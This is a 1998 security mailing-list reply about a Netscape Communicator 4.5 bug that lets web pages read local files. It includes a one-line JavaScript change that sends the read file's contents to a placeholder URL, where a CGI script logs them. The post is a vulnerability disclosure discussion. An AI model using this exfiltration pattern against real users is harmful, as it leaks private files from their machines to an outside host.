Re: Netscape Communicator 4.5 can read local files

[peak () kerberos troja mff cuni cz (Pavel Kankovsky)]

On Wed, 25 Nov 1998, Ben Collins wrote:

> If some one here can setup a webpage, send me the URL, have that page read
> the file '/test.txt' from my hardrive and then that person send the
> contents to this list, I will believe. Otherwise I think this whole
> hysteria over 'unforseen' dangers should stop.

replace alert(b) with

        w=window.open(\"some_url?\"+escape(b));

and make sure some_url points to a cgi script recording its $QUERY_STRING
(in fact, the text would be recorded in access_log as well)

BTW: it seems both Java and JavaScripts must be enabled

--Pavel Kankovsky aka Peak  [ Boycott Czech Telecom--http://www.bojkot.cz ]
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